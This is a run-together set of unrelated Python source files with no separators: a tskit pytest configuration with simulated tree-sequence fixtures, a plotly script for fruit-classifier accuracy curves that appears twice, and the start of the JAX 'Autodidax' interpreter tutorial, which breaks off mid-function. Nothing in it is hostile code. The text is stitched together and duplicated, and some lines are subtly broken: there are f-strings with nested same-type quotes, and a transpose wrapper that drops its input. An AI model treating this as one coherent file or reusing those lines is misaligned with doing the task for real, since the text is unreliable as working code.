# MIT License # # Copyright (c) 2018-2020 Tskit Developers # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in all # copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. """ Configuration and fixtures for pytest. Only put test-suite wide fixtures in here. Module specific fixtures should live in their modules. To use a fixture in a test simply refer to it by name as an argument. This is called dependancy injection. Note that all fixtures should have the suffix "_fixture" to make it clear in test code. For example to use the `ts` fixture (a tree sequence with data in all fields) in a test: class TestClass: def test_something(self, ts_fixture): assert ts_fixture.some_method() == expected Fixtures can be parameterised etc. see https://docs.pytest.org/en/stable/fixture.html Note that fixtures have a "scope" for example `ts_fixture` below is only created once per test session and re-used for subsequent tests. """ import msprime import pytest from pytest import fixture import tskit def pytest_addoption(parser): """ Add options, e.g. to skip tests marked with `@pytest.mark.slow` """ parser.addoption( "--skip-slow", action="store_true", default=False, help="Skip slow tests" ) parser.addoption( "--overwrite-expected-visualizations", action="store_true", default=False, help="Overwrite the expected viz files in tests/data/svg/", ) parser.addoption( "--draw-svg-debug-box", action="store_true", default=False, help="To help debugging, draw lines around the plotboxes in SVG output files", ) def pytest_configure(config): """ Add docs on the "slow" marker """ config.addinivalue_line("markers", "slow: mark test as slow to run") def pytest_collection_modifyitems(config, items): if config.getoption("--skip-slow"): skip_slow = pytest.mark.skip(reason="--skip-slow specified") for item in items: if "slow" in item.keywords: item.add_marker(skip_slow) @fixture def overwrite_viz(request): return request.config.getoption("--overwrite-expected-visualizations") @fixture def draw_plotbox(request): return request.config.getoption("--draw-svg-debug-box") @fixture(scope="session") def simple_degree1_ts_fixture(): return msprime.simulate(10, random_seed=42) @fixture(scope="session") def simple_degree2_ts_fixture(): ts = msprime.simulate(10, recombination_rate=0.2, random_seed=42) assert ts.num_trees == 2 return ts @fixture(scope="session") def ts_fixture(): """ A tree sequence with data in all fields """ demography = msprime.Demography() demography.add_population(name="A", initial_size=10_000) demography.add_population(name="B", initial_size=5_000) demography.add_population(name="C", initial_size=1_000) demography.add_population(name="D", initial_size=500) demography.add_population(name="E", initial_size=100) demography.add_population_split(time=1000, derived=["A", "B"], ancestral="C") ts = msprime.sim_ancestry( samples={"A": 10, "B": 10}, demography=demography, sequence_length=5, random_seed=42, record_migrations=True, record_provenance=True, ) ts = msprime.sim_mutations(ts, rate=0.001, random_seed=42) tables = ts.dump_tables() # Add locations to individuals individuals_copy = tables.individuals.copy() tables.individuals.clear() for i, individual in enumerate(individuals_copy): tables.individuals.append( individual.replace(location=[i, i + 1], parents=[i - 1, i - 1]) ) for name, table in tables.name_map.items(): if name != "provenances": table.metadata_schema = tskit.MetadataSchema({"codec": "json"}) metadatas = [f'{{"foo":"n_{name}_{u}"}}' for u in range(len(table))] metadata, metadata_offset = tskit.pack_strings(metadatas) table.set_columns( **{ **table.asdict(), "metadata": metadata, "metadata_offset": metadata_offset, } ) tables.metadata_schema = tskit.MetadataSchema({"codec": "json"}) tables.metadata = "Test metadata" # Add some more rows to provenance to have enough for testing. for _ in range(3): tables.provenances.add_row(record="A") return tables.tree_sequence() @fixture(scope="session") def replicate_ts_fixture(): """ A list of tree sequences """ return list(msprime.simulate(10, num_replicates=10, random_seed=42))
import os import csv import random # import numpy as np # import matplotlib.pyplot as plt import plotly.graph_objects as go from plotly.subplots import make_subplots # COLORS = { # "train": "rgb(0,119,187)", # "validation": "rgb(255,66,94)", # } COLORS = { "abiu": {"train": "#4184f3", "validation": "#db4437"}, "caju-amarelo": {"train": "#0f9d58", "validation": "#c1175a"}, "caju-vermelho": {"train": "#FF693B", "validation": "#00abc0"}, "gabiroba": {"train": "#9746BB", "validation": "#6FBB36"}, "pequi": {"train": "#5A41FF", "validation": "#EF55B8"}, "siriguela": {"train": "#00786a", "validation": "#f4b400"}, } # ["#4184f3", "#db4437", "#f4b400", "#0f9d58", "#aa46bb", "#00abc0", "#ff6f42", "#9d9c23", "#5b6abf", "#ef6191", "#00786a", "#c1175a"] Y_TICKS = [0, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1] def smooth(scalars, weight): last = scalars[0] smoothed = list() for point in scalars: smoothed_val = last * weight + (1 - weight) * point smoothed.append(smoothed_val) last = smoothed_val return smoothed data_paths = [] for dirpath, dirnames, filenames in os.walk(os.path.join(os.path.curdir, "data")): if len(filenames) > 0: data_paths.append(dirpath) for i, data_path in enumerate(data_paths): if "regular" in data_path: continue fruit = data_path.split("/")[2] fig = go.Figure() for mode in ("train", "validation"): accuracy_x = [] accuracy_y = [] with open(os.path.join(data_path, f"run-{mode}-tag-epoch_accuracy.csv")) as csv_file: csv_reader = csv.DictReader(csv_file) for row in csv_reader: accuracy_x.append(int(row["Step"]) + 1) accuracy_y.append(float(row["Value"])) fig.add_trace( go.Scatter( x=accuracy_x, y=accuracy_y, mode="lines", name=f"{mode} - raw", showlegend=False, opacity=0.2, line={"dash": "dot", "color": COLORS[fruit][mode]} if mode == "validation" else {"color": COLORS[fruit][mode]}, ) ) fig.add_trace( go.Scatter( x=smooth(accuracy_x, 0.6), y=smooth(accuracy_y, 0.6), mode="lines", name=f"{mode}", line={"dash": "dot", "color": COLORS[fruit][mode]} if mode == "validation" else {"color": COLORS[fruit][mode]}, ) ) fig.update_layout( xaxis_title="Epoch", yaxis_title="Accuracy", yaxis=dict(tickmode="array", tickvals=Y_TICKS), yaxis_tickformat="%", legend=dict(orientation="h", yanchor="bottom", y=1, xanchor="center", x=0.5, font=dict(size=24)), legend_itemsizing="constant", font=dict(size=24), autosize=False, height=500, width=600, template="none", margin=dict( l=5, r=20, t=5, b=5, ), ) fig.update_xaxes(linecolor="rgb(180,180,180)", gridcolor="rgb(210,210,210)", automargin=True) fig.update_yaxes(linecolor="rgb(180,180,180)", gridcolor="rgb(210,210,210)", automargin=True) fig_path = os.path.join(os.path.curdir, "figures", *data_path.split("/")[2:-1]) os.makedirs(fig_path, exist_ok=True) fig.write_image(os.path.join(fig_path, f'{data_path.split('/')[-1]}.eps')) # filtered_paths = list(filter(lambda data_path: "gabor" in data_path and "glcm" in data_path, data_paths)) # for mode in ("train", "validation"): # fig = make_subplots(specs=[[{"secondary_y": True}]]) # for data_path in filtered_paths: # fruit = data_path.split("/")[2] # accuracy_x = [] # accuracy_y = [] # with open(os.path.join(data_path, f"run-{mode}-tag-epoch_accuracy.csv")) as csv_file: # csv_reader = csv.DictReader(csv_file) # for row in csv_reader: # accuracy_x.append(int(row["Step"]) + 1) # accuracy_y.append(float(row["Value"])) # fig.add_trace( # go.Scatter( # x=accuracy_x, # y=accuracy_y, # mode="lines", # name=f"{fruit} - raw", # showlegend=False, # line_color=COLORS[fruit]["train"], # opacity=0.2, # legendgroup="accuracy", # ), # secondary_y=False, # ) # fig.add_trace( # go.Scatter( # x=smooth(accuracy_x, 0.6), # y=smooth(accuracy_y, 0.6), # mode="lines", # name=f"accuracy - {fruit}", # line_color=COLORS[fruit]["train"], # legendgroup="accuracy", # ), # secondary_y=False, # ) # loss_x = [] # loss_y = [] # with open(os.path.join(data_path, f"run-{mode}-tag-epoch_loss.csv")) as csv_file: # csv_reader = csv.DictReader(csv_file) # for row in csv_reader: # loss_x.append(int(row["Step"]) + 1) # loss_y.append(float(row["Value"])) # fig.add_trace( # go.Scatter( # x=loss_x, # y=loss_y, # mode="lines", # name=f"{fruit} - raw", # showlegend=False, # line_color=COLORS[fruit]["validation"], # opacity=0.2, # legendgroup="loss", # ), # secondary_y=True, # ) # fig.add_trace( # go.Scatter( # x=smooth(loss_x, 0.6), # y=smooth(loss_y, 0.6), # mode="lines", # name=f"loss - {fruit}", # line_color=COLORS[fruit]["validation"], # legendgroup="loss", # ), # secondary_y=True, # ) # fig.update_layout( # xaxis_title="Epoch", # yaxis_title="Accuracy", # yaxis2_title="Loss", # yaxis=dict(tickmode="array", tickvals=Y_TICKS), # yaxis2=dict(tickmode="array", tickvals=Y_TICKS), # yaxis_tickformat="%", # yaxis2_range=[0, 1], # yaxis_range=[0, 1], # legend=dict(orientation="h", yanchor="bottom", y=1.02, xanchor="center", x=0.475, font=dict(size=20)), # legend_itemsizing="constant", # font=dict(size=20), # autosize=False, # height=500, # width=700, # template="none", # margin=dict( # l=10, # r=10, # t=10, # b=10, # ), # ) # fig.update_xaxes(linecolor="rgb(180,180,180)", gridcolor="rgb(210,210,210)", automargin=True) # fig.update_yaxes(linecolor="rgb(180,180,180)", gridcolor="rgb(210,210,210)", automargin=True) # fig_path = os.path.join(os.path.curdir, "figures", "comparison") # os.makedirs(fig_path, exist_ok=True) # fig.write_image(os.path.join(fig_path, f"{mode}.png"))
import os import csv import random # import numpy as np # import matplotlib.pyplot as plt import plotly.graph_objects as go from plotly.subplots import make_subplots # COLORS = { # "train": "rgb(0,119,187)", # "validation": "rgb(255,66,94)", # } COLORS = { "abiu": {"train": "#4184f3", "validation": "#db4437"}, "caju-amarelo": {"train": "#0f9d58", "validation": "#c1175a"}, "caju-vermelho": {"train": "#FF693B", "validation": "#00abc0"}, "gabiroba": {"train": "#9746BB", "validation": "#6FBB36"}, "pequi": {"train": "#5A41FF", "validation": "#EF55B8"}, "siriguela": {"train": "#00786a", "validation": "#f4b400"}, } # ["#4184f3", "#db4437", "#f4b400", "#0f9d58", "#aa46bb", "#00abc0", "#ff6f42", "#9d9c23", "#5b6abf", "#ef6191", "#00786a", "#c1175a"] Y_TICKS = [0, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1] def smooth(scalars, weight): last = scalars[0] smoothed = list() for point in scalars: smoothed_val = last * weight + (1 - weight) * point smoothed.append(smoothed_val) last = smoothed_val return smoothed data_paths = [] for dirpath, dirnames, filenames in os.walk(os.path.join(os.path.curdir, "data")): if len(filenames) > 0: data_paths.append(dirpath) for i, data_path in enumerate(data_paths): if "regular" in data_path: continue fruit = data_path.split("/")[2] fig = go.Figure() for mode in ("train", "validation"): accuracy_x = [] accuracy_y = [] with open(os.path.join(data_path, f"run-{mode}-tag-epoch_accuracy.csv")) as csv_file: csv_reader = csv.DictReader(csv_file) for row in csv_reader: accuracy_x.append(int(row["Step"]) + 1) accuracy_y.append(float(row["Value"])) fig.add_trace( go.Scatter( x=accuracy_x, y=accuracy_y, mode="lines", name=f"{mode} - raw", showlegend=False, opacity=0.2, line={"dash": "dot", "color": COLORS[fruit][mode]} if mode == "validation" else {"color": COLORS[fruit][mode]}, ) ) fig.add_trace( go.Scatter( x=smooth(accuracy_x, 0.6), y=smooth(accuracy_y, 0.6), mode="lines", name=f"{mode}", line={"dash": "dot", "color": COLORS[fruit][mode]} if mode == "validation" else {"color": COLORS[fruit][mode]}, ) ) fig.update_layout( xaxis_title="Epoch", yaxis_title="Accuracy", yaxis=dict(tickmode="array", tickvals=Y_TICKS), yaxis_tickformat="%", legend=dict(orientation="h", yanchor="bottom", y=1, xanchor="center", x=0.5, font=dict(size=24)), legend_itemsizing="constant", font=dict(size=24), autosize=False, height=500, width=600, template="none", margin=dict( l=5, r=20, t=5, b=5, ), ) fig.update_xaxes(linecolor="rgb(180,180,180)", gridcolor="rgb(210,210,210)", automargin=True) fig.update_yaxes(linecolor="rgb(180,180,180)", gridcolor="rgb(210,210,210)", automargin=True) fig_path = os.path.join(os.path.curdir, "figures", *data_path.split("/")[2:-1]) os.makedirs(fig_path, exist_ok=True) fig.write_image(os.path.join(fig_path, f'{data_path.split("/")[-1]}.eps')) # filtered_paths = list(filter(lambda data_path: "gabor" in data_path and "glcm" in data_path, data_paths)) # for mode in ("train", "validation"): # fig = make_subplots(specs=[[{"secondary_y": True}]]) # for data_path in filtered_paths: # fruit = data_path.split("/")[2] # accuracy_x = [] # accuracy_y = [] # with open(os.path.join(data_path, f"run-{mode}-tag-epoch_accuracy.csv")) as csv_file: # csv_reader = csv.DictReader(csv_file) # for row in csv_reader: # accuracy_x.append(int(row["Step"]) + 1) # accuracy_y.append(float(row["Value"])) # fig.add_trace( # go.Scatter( # x=accuracy_x, # y=accuracy_y, # mode="lines", # name=f"{fruit} - raw", # showlegend=False, # line_color=COLORS[fruit]["train"], # opacity=0.2, # legendgroup="accuracy", # ), # secondary_y=False, # ) # fig.add_trace( # go.Scatter( # x=smooth(accuracy_x, 0.6), # y=smooth(accuracy_y, 0.6), # mode="lines", # name=f"accuracy - {fruit}", # line_color=COLORS[fruit]["train"], # legendgroup="accuracy", # ), # secondary_y=False, # ) # loss_x = [] # loss_y = [] # with open(os.path.join(data_path, f"run-{mode}-tag-epoch_loss.csv")) as csv_file: # csv_reader = csv.DictReader(csv_file) # for row in csv_reader: # loss_x.append(int(row["Step"]) + 1) # loss_y.append(float(row["Value"])) # fig.add_trace( # go.Scatter( # x=loss_x, # y=loss_y, # mode="lines", # name=f"{fruit} - raw", # showlegend=False, # line_color=COLORS[fruit]["validation"], # opacity=0.2, # legendgroup="loss", # ), # secondary_y=True, # ) # fig.add_trace( # go.Scatter( # x=smooth(loss_x, 0.6), # y=smooth(loss_y, 0.6), # mode="lines", # name=f"loss - {fruit}", # line_color=COLORS[fruit]["validation"], # legendgroup="loss", # ), # secondary_y=True, # ) # fig.update_layout( # xaxis_title="Epoch", # yaxis_title="Accuracy", # yaxis2_title="Loss", # yaxis=dict(tickmode="array", tickvals=Y_TICKS), # yaxis2=dict(tickmode="array", tickvals=Y_TICKS), # yaxis_tickformat="%", # yaxis2_range=[0, 1], # yaxis_range=[0, 1], # legend=dict(orientation="h", yanchor="bottom", y=1.02, xanchor="center", x=0.475, font=dict(size=20)), # legend_itemsizing="constant", # font=dict(size=20), # autosize=False, # height=500, # width=700, # template="none", # margin=dict( # l=10, # r=10, # t=10, # b=10, # ), # ) # fig.update_xaxes(linecolor="rgb(180,180,180)", gridcolor="rgb(210,210,210)", automargin=True) # fig.update_yaxes(linecolor="rgb(180,180,180)", gridcolor="rgb(210,210,210)", automargin=True) # fig_path = os.path.join(os.path.curdir, "figures", "comparison") # os.makedirs(fig_path, exist_ok=True) # fig.write_image(os.path.join(fig_path, f"{mode}.png"))
# --- # Copyright 2021 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # jupyter: # jupytext: # formats: ipynb,md:myst,py # text_representation: # extension: .py # format_name: light # format_version: '1.5' # jupytext_version: 1.10.0 # kernelspec: # display_name: Python 3 # name: python3 # --- # [![Open in # Colab](https://colab.research.google.com/assets/colab-badge.svg)](https://colab.research.google.com/github/google/jax/blob/master/docs/autodidax.ipynb) # # Autodidax: JAX core from scratch # # Ever want to learn how JAX works, but the implementation seemed impenetrable? # Well, you're in luck! By reading this tutorial, you'll learn every big idea in # JAX's core system. You'll even get clued into our weird jargon! # # **This is a work-in-progress draft.** There are some important ingredients # missing, still to come in parts 5 and 6 (and more?). There are also some # simplifications here that we haven't yet applied to the main system, but we # will. # ## Part 1: Transformations as interpreters: standard evaluation, `jvp`, and `vmap` # # We want to transform functions that look like this: # # ```python # def f(x): # y = sin(x) * 2. # z = - y + x # return z # ``` # # Think of functions like `sin` and the arithmetic operations underlying the # infix operators (`mul`, `add`, and `neg`) as primitive operations, meaning # atomic units of processing rather than compositions. # # "Transform" means "interpret differently." Instead of standard interpretation # where we apply primitive operations to numerical inputs to produce numerical # outputs, we want to override primitive application and let different values # flow through our program. For example, we might want to replace the # application of every primitive with an application of [its JVP # rule](https://jax.readthedocs.io/en/latest/notebooks/autodiff_cookbook.html), # and let primal-tangent pairs flow through our program. Moreover, we want to be # able to compose multiple transformations, leading to stacks of interpreters. # ### JAX core machinery # # We can implement stacks of interpreters and even have them all discharge on # the fly as we execute the Python function to be transformed. To start, let's # define these primitives so that we can intercept their application: # + from typing import NamedTuple class Primitive(NamedTuple): name: str add_p = Primitive('add') mul_p = Primitive('mul') neg_p = Primitive("neg") sin_p = Primitive("sin") cos_p = Primitive("cos") reduce_sum_p = Primitive("reduce_sum") greater_p = Primitive("greater") transpose_p = Primitive("transpose") broadcast_p = Primitive("broadcast") def add(x, y): return bind1(add_p, x, y) def mul(x, y): return bind1(mul_p, x, y) def neg(x): return bind1(neg_p, x) def sin(x): return bind1(sin_p, x) def cos(x): return bind1(cos_p, x) def reduce_sum(x, axis=None): return bind1(reduce_sum_p, x, axis=axis) def greater(x, y): return bind1(greater_p, x, y) def transpose(x, perm): return bind1(transpose_p, perm=perm) def broadcast(x, shape, axes): return bind1(broadcast_p, x, shape=shape, axes=axes) def bind1(prim, *args, **params): out, = bind(prim, *args, **params) return out # - # We'll set up array data types and infix operator methods in a moment. # # A `Primitive` is just an object with a name, to which we attach our # interpretation rules (one for each transformation). The `bind` function is our # interception point: it'll figure out which transformation rule to apply, based # on how the arguments are boxed in tracers and what interpreters are active. # # The functions that user code calls, like `add` and `sin`, are just wrappers # around calls to `bind`. These wrappers let us control how arguments are passed # to `bind`, and in particular we follow a handy internal convention: when we # call `bind`, we pass values representing array data as positional arguments, # and we pass metadata like the `axis` argument to `sum_p` via keyword. This # calling convention simplifies some core logic (since e.g. instances of the # `Tracer` class to be defined below can only occur in positional arguments to # `bind`). The wrappers can also provide docstrings! # # We represent active interpreters as a stack. The stack is just a simple # `list`, and each element is a container with an integer level (corresponding # to the element's height in the stack), an interpreter type (which we'll call a # `trace_type`), and an optional field for any global data the interpreter # needs. We call each element a `MainTrace`, though maybe "Interpreter" would be # more descriptive. # + from contextlib import contextmanager from typing import Type, List, Optional, Any class MainTrace(NamedTuple): level: int trace_type: Type['Trace'] global_data: Optional[Any] trace_stack: List[MainTrace] = [] dynamic_trace: Optional[MainTrace] = None # to be employed in Part 3 @contextmanager def new_main(trace_type: Type['Trace'], global_data=None): level = len(trace_stack) main = MainTrace(level, trace_type, global_data) trace_stack.append(main) try: yield main finally: trace_stack.pop() # - # When we're about to apply a transformation, we'll push another interpreter # onto the stack using `new_main`. Then, as we apply primitives in the function, # we can think of the `bind` first being interpreted by the trace at the top of # the stack (i.e. with the highest level). If that first interpreter itself # binds other primitives in its interpretation rule for the primitive, like how # the JVP rule of `sin_p` might bind `cos_p` and `mul_p`, then those `bind` # calls will be handled by the interpreter at the next level down. # # What goes at the bottom of the interpreter stack? At the bottom, we know all # the transformation interpreters are finished, and we just want to do standard # evaluation. So at the bottom we'll put an evaluation interpreter. # # Let's sketch out the interface for interpreters, which is based on the `Trace` # and `Tracer` base classes. A `Tracer` represents a boxed-up value, perhaps # carrying some extra context data used by the interpreter. A `Trace` handles # boxing up values into `Tracers` and also handles primitive application. class Trace: main: MainTrace def __init__(self, main: MainTrace) -> None: self.main = main def pure(self, val): assert False # must override def lift(self, val): assert False # must override def process_primitive(self, primitive, tracers, params): assert False # must override # The first two methods are about boxing up values in `Tracer`s, which are the # objects that flow through the Python programs we transform. The last method is # the callback we'll use to interpret primitive application. # # The `Trace` itself doesn't contain any data, other than a reference to its # corresponding `MainTrace` instance. In fact, multiple instances of a `Trace` # might be created and discarded during an application of a transformation, # whereas only a single `MainTrace` instance is created per application of a # transformation. # # As for `Tracer`s themselves, each one carries an abstract value (and forwards # infix operators to it), and the rest is up to the transformation. (The # relationship between `Tracer`s and `AbstractValue`s is that there's one # `Tracer` per transformation, and at least one `AbstractValue` per base type, # like arrays.) # + import numpy as np from typing import Tuple class Tracer: _trace: Trace __array_priority__ = 1000 @property def aval(self): assert False # must override def full_lower(self): return self # default implementation def __neg__(self): return self.aval._neg(self) def __add__(self, other): return self.aval._add(self, other) def __radd__(self, other): return self.aval._radd(self, other) def __mul__(self, other): return self.aval._mul(self, other) def __rmul__(self, other): return self.aval._rmul(self, other) def __gt__(self, other): return self.aval._gt(self, other) def __bool__(self): return self.aval._bool(self) def __nonzero__(self): return self.aval._nonzero(self) def __getattr__(self, name): try: return getattr(self.aval, name) except AttributeError: raise AttributeError(f"{self.__class__.__name__} has no attribute {name}") def swap(f): return lambda x, y: f(y, x) # + class ShapedArray: array_abstraction_level = 1 shape: Tuple[int] dtype: np.dtype def __init__(self, shape, dtype): self.shape = shape self.dtype = dtype @property def ndim(self): return len(self.shape) _neg = staticmethod(neg) _add = staticmethod(add) _radd = staticmethod(swap(add)) _mul = staticmethod(mul) _rmul = staticmethod(swap(mul)) _gt = staticmethod(greater) @staticmethod def _bool(tracer): raise Exception("ShapedArray can't be unambiguously converted to bool") @staticmethod def _nonzero(tracer): raise Exception("ShapedArray can't be unambiguously converted to bool") def str_short(self): return f'{self.dtype.name}[{','.join(str(d) for d in self.shape)}]' def __hash__(self): return hash((self.shape, self.dtype)) def __eq__(self, other): return (type(self) is type(other) and self.shape == other.shape and self.dtype == other.dtype) def __repr__(self): return f"ShapedArray(shape={self.shape}, dtype={self.dtype})" class ConcreteArray(ShapedArray): array_abstraction_level = 2 val: np.ndarray def __init__(self, val): self.val = val self.shape = val.shape self.dtype = val.dtype @staticmethod def _bool(tracer): return bool(tracer.aval.val) @staticmethod def _nonzero(tracer): return bool(tracer.aval.val) def get_aval(x): if isinstance(x, Tracer): return x.aval elif type(x) in jax_types: return ConcreteArray(np.asarray(x)) else: raise TypeError(x) jax_types = {bool, int, float, np.bool_, np.int32, np.int64, np.float32, np.float64, np.ndarray} # - # Notice that we actually have two `AbstractValue`s for arrays, representing # different levels of abstraction. A `ShapedArray` represents the set of all # possible arrays with a given shape and dtype. A `ConcreteArray` represents a # singleton set consisting of a single array value. # # Now that we've set up the interpreter stack, the Trace/Tracer API for # interpreters, and abstract values, we can come back to implement `bind`: def bind(prim, *args, **params): top_trace = find_top_trace(args) tracers = [full_raise(top_trace, arg) for arg in args] outs = top_trace.process_primitive(prim, tracers, params) return [full_lower(out) for out in outs] # The main action is that we call `find_top_trace` to figure out which # interpreter should handle this primitive application. We then call that top # trace's `process_primitive` so that the trace can apply its interpretation # rule. The calls to `full_raise` just ensure that the inputs are boxed in the # top trace's `Tracer` instances, and the call to `full_lower` is an optional # optimization so that we unbox values out of `Tracer`s as much as possible. # + import operator as op def find_top_trace(xs) -> Trace: top_main = max((x._trace.main for x in xs if isinstance(x, Tracer)), default=trace_stack[0], key=op.attrgetter('level')) if dynamic_trace and dynamic_trace.level > top_main.level: top_main = dynamic_trace return top_main.trace_type(top_main) # - # In words, ignoring the `dynamic_trace` step until Part 3, `find_top_trace` # returns the highest-level interpreter associated with the `Tracer`s on its # inputs, and otherwise returns the interpreter at the bottom of the stack # (which is always an evaluation trace, at least for now). This is a deviation # from the description above, where we always start by running the interpreter # at the top of the stack and then work our way down, applying every interpreter # in the stack. Instead, we're only applying an interpreter when the input # arguments to a primitive bind are boxed in a `Tracer` corresponding to that # interpreter. This optimization lets us skip irrelevant transformations, but # bakes in an assumption that transformations mostly follow data dependence # (except for the special bottom-of-the-stack interpreter, which interprets # everything). # # An alternative would be to have every interpreter in the stack interpret every # operation. That's worth exploring! JAX is designed around data dependence in # large part because that's so natural for automatic differentiation, and JAX's # roots are in autodiff. But it may be over-fit. # + def full_lower(val: Any): if isinstance(val, Tracer): return val.full_lower() else: return val def full_raise(trace: Trace, val: Any) -> Tracer: if not isinstance(val, Tracer): assert type(val) in jax_types return trace.pure(val) level = trace.main.level if val._trace.main is trace.main: return val elif val._trace.main.level < level: return trace.lift(val) elif val._trace.main.level > level: raise Exception(f"Can't lift level {val._trace.main.level} to {level}.") else: # val._trace.level == level raise Exception(f"Different traces at same level: {val._trace}, {trace}.") # - # The logic in `full_raise` serves to box values into `Tracer`s for a particular # `Trace`, calling different methods on the `Trace` based on context: # `Trace.pure` is called on non-`Tracer` constants, and `Trace.lift` is called # for values that are already `Tracer`s from a lower-level interpreter. These # two methods could share the same implementation, but by distinguishing them in # the core logic we can provide more information to the `Trace` subclass. # # That's it for the JAX core! Now we can start adding interpreters. # ### Evaluation interpreter # # We'll start with the simplest interpreter: the evaluation interpreter that # will sit at the bottom of the interpreter stack. # + class EvalTrace(Trace): pure = lift = lambda self, x: x # no boxing in Tracers needed def process_primitive(self, primitive, tracers, params): return impl_rules[primitive](*tracers, **params) trace_stack.append(MainTrace(0, EvalTrace, None)) # special bottom of the stack # NB: in JAX, instead of a dict we attach impl rules to the Primitive instance impl_rules = {} impl_rules[add_p] = lambda x, y: [np.add(x, y)] impl_rules[mul_p] = lambda x, y: [np.multiply(x, y)] impl_rules[neg_p] = lambda x: [np.negative(x)] impl_rules[sin_p] = lambda x: [np.sin(x)] impl_rules[cos_p] = lambda x: [np.cos(x)] impl_rules[reduce_sum_p] = lambda x, *, axis: [np.sum(x, axis)] impl_rules[greater_p] = lambda x, y: [np.greater(x, y)] impl_rules[transpose_p] = lambda x, *, perm: [np.transpose(x, perm)] def broadcast_impl(x, *, shape, axes): for axis in sorted(axes): x = np.expand_dims(x, axis) return [np.broadcast_to(x, shape)] impl_rules[broadcast_p] = broadcast_impl # - # With this interpreter, we can evaluate user functions: # + def f(x): y = sin(x) * 2. z = - y + x return z print(f(3.0)) # - # Woo! Like going around in a big circle. But the point of this indirection is # that now we can add some real transformations. # ### Forward-mode autodiff with `jvp` # # First, a few helper functions: # + def zeros_like(val): return np.zeros_like(val) def unzip2(pairs): lst1, lst2 = [], [] for x1, x2 in pairs: lst1.append(x1) lst2.append(x2) return lst1, lst2 map_ = map def map(f, *xs): return list(map_(f, *xs)) # - # The `Tracer` for forward-mode autodiff carries a primal-tangent pair. The # `Trace` applies JVP rules. # + class JVPTracer(Tracer): def __init__(self, trace, primal, tangent): self._trace = trace self.primal = primal self.tangent = tangent @property def aval(self): return get_aval(self.primal) class JVPTrace(Trace): pure = lift = lambda self, val: JVPTracer(self, val, zeros_like(val)) def process_primitive(self, primitive, tracers, params): primals_in, tangents_in = unzip2((t.primal, t.tangent) for t in tracers) jvp_rule = jvp_rules[primitive] primal_outs, tangent_outs = jvp_rule(primals_in, tangents_in, **params) return [JVPTracer(self, x, t) for x, t in zip(primal_outs, tangent_outs)] jvp_rules = {} # - # Notice both `lift` and `sublift` package a value into a `JVPTracer` with the # minimal amount of context, which is a zero tangent value. # # Let's add some JVP rules for primitives: # + def add_jvp(primals, tangents): (x, y), (x_dot, y_dot) = primals, tangents return [x + y], [x_dot + y_dot] jvp_rules[add_p] = add_jvp def mul_jvp(primals, tangents): (x, y), (x_dot, y_dot) = primals, tangents return [x * y], [x_dot * y + x * y_dot] jvp_rules[mul_p] = mul_jvp def sin_jvp(primals, tangents): (x,), (x_dot,) = primals, tangents return [sin(x)], [cos(x) * x_dot] jvp_rules[sin_p] = sin_jvp def cos_jvp(primals, tangents): (x,), (x_dot,) = primals, tangents return [cos(x)], [-sin(x) * x_dot] jvp_rules[cos_p] = cos_jvp def neg_jvp(primals, tangents): (x,), (x_dot,) = primals, tangents return [neg(x)], [neg(x_dot)] jvp_rules[neg_p] = neg_jvp def reduce_sum_jvp(primals, tangents, *, axis): (x,), (x_dot,) = primals, tangents return [reduce_sum(x, axis)], [reduce_sum(x_dot, axis)] jvp_rules[reduce_sum_p] = reduce_sum_jvp def greater_jvp(primals, tangents): (x, y), _ = primals, tangents out_primal = greater(x, y) return [out_primal], [zeros_like(out_primal)] jvp_rules[greater_p] = greater_jvp # - # Finally, we add a transformation API to kick off the trace: def jvp_v1(f, primals, tangents): with new_main(JVPTrace) as main: trace = JVPTrace(main) tracers_in = [JVPTracer(trace, x, t) for x, t in zip(primals, tangents)] out = f(*tracers_in) tracer_out = full_raise(trace, out) primal_out, tangent_out = tracer_out.primal, tracer_out.tangent return primal_out, tangent_out # And with that, we can differentiate! x = 3.0 y, sin_deriv_at_3 = jvp_v1(sin, (x,), (1.0,)) print(sin_deriv_at_3) print(cos(3.0)) # + def f(x): y = sin(x) * 2. z = - y + x return z x, xdot = 3., 1. y, ydot = jvp_v1(f, (x,), (xdot,)) print(y) print(ydot) # + def deriv(f): return lambda x: jvp_v1(f, (x,), (1.,))[1] print(deriv(sin)(3.)) print(deriv(deriv(sin))(3.)) print(deriv(deriv(deriv(sin)))(3.)) print(deriv(deriv(deriv(deriv(sin))))(3.)) # + def f(x): if x > 0.: # Python control flow return 2. * x else: return x print(deriv(f)(3.)) print(deriv(f)(-3.)) # - # ## Pytrees and flattening user functions' inputs and outputs # A limitation with `jvp_v1` is that it assumes the user function accepts arrays # as positional arguments and produces a single array as output. What if it # produced a list as output? Or accepted nested containers as inputs? It would # be a pain to deal with all the possible containers in inputs and outputs at # every layer of the stack. Instead, we can wrap the user function so that the # wrapped version accepts arrays as inputs and returns a flat list of arrays as # output. The wrapper just needs to unflatten its input, call the user function, # and flatten the output. # # Here's how we'd like to write `jvp`, assuming the user always gives us # functions that take arrays as inputs and produces a flat list of arrays as # outputs: def jvp_flat(f, primals, tangents): with new_main(JVPTrace) as main: trace = JVPTrace(main) tracers_in = [JVPTracer(trace, x, t) for x, t in 